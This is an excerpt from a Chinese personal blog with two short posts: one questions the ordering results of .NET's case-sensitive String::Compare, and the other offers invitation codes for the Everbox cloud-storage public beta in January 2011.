String::Compare("aA", "A"): 1 // .NET考虑整体长度。

String::Compare("aA", "AA"): –1

String::Compare("Aa", "AA"): -1

String::Compare("ac", "Ab"): 1 // 这个是我最不能理解的。明明是区分大小写的比较，.NET为什么无视了第一个a的不同，而连第二个字符也考虑了进来？

不知道.NET里还有什么别的字符串比较的方法没有？用这个方法做词典式排序很难。

如果说微软这样的比较结果是By Design的，那微软又是针对的哪种实际环境呢？

本文链接

发放盛大网盘Everbox公测邀请码

2011-01-03T14:53:00Z

说白了就是在盛大的服务器上存放自己的临时文件的东西。（可用来共享文件或中转文件）

目前正处于公测阶段，需要邀请码才能注册。（倒不是当小白给他们测试东西，主要这个时候一般都可以注册到自己喜欢的ID）

手头上还有几个公测邀请码。有需要的朋友留个话。最好有邮箱，那个邀请要发到邮箱里。

本文链接